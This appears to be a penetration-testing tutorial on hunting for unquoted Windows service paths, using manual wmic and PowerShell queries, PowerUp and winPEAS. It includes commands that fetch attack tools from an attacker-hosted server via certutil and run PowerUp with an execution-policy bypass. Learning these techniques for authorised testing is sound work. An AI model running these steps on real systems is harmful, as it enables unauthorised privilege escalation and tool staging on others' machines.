Hunting for unquoted services manually¶
-
First, check the privileges of the current user:
whoami /priv
Note:
TheSeShutdownPrivilege
allows restarting a machine. Even if you lack permissions to directly stop/start a service, restarting the machine will also restart the service, enabling exploitation.
This privilege can still be used when shown as "Disabled" because it is only disabled for the current session. -
Manually hunt for unquoted service paths with
cmd
:
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
-
Manually hunt for unquoted service paths with PowerShell:
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName
Note:
Both commands confirm that theunquotedsvc
service has an unquoted path and is configured as a Manual service. -
Check service path configuration and permissions to start the service:
sc sdshow unquotedsvc
Hunting for unquoted services with PowerUp¶
-
If you don’t already have PowerUp, download it:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
-
Host the script using Python:
python3 -m http.server 8000
-
Transfer the script to the target with
certutil
:
certutil -urlcache -f http://[IP-ADDRESS]:8000/PowerUp.ps1 PowerUp.ps1
-
Bypass the PowerShell execution policy and run PowerUp:
powershell -ep bypass -c "& {.\PowerUp.ps1}"
Note:
PowerUp can enumerate misconfigurations and sometimes exploit them.
However, finding an unquoted service path does not always mean it’s exploitable. PowerUp may suggest anAbuseFunction
, assuming exploitation is possible.
Hunting for unquoted services with winPEAS¶
-
Since the target is a 64-bit OS, host the 64-bit
winPEAS
binary:
python3 -m http.server 8000
-
Transfer it to the target using
certutil
:
certutil -urlcache -f http://[IP-ADDRESS]:8000/winPEASx64.exe winPEASx64.exe
-
Use the
servicesinfo
filter to search for unquoted service paths:
.\winPEASx64.exe quiet servicesinfo
Note:
In thewinPEAS
output, red and yellow highlights often indicate important findings such as unquoted service paths. Focus your attention there.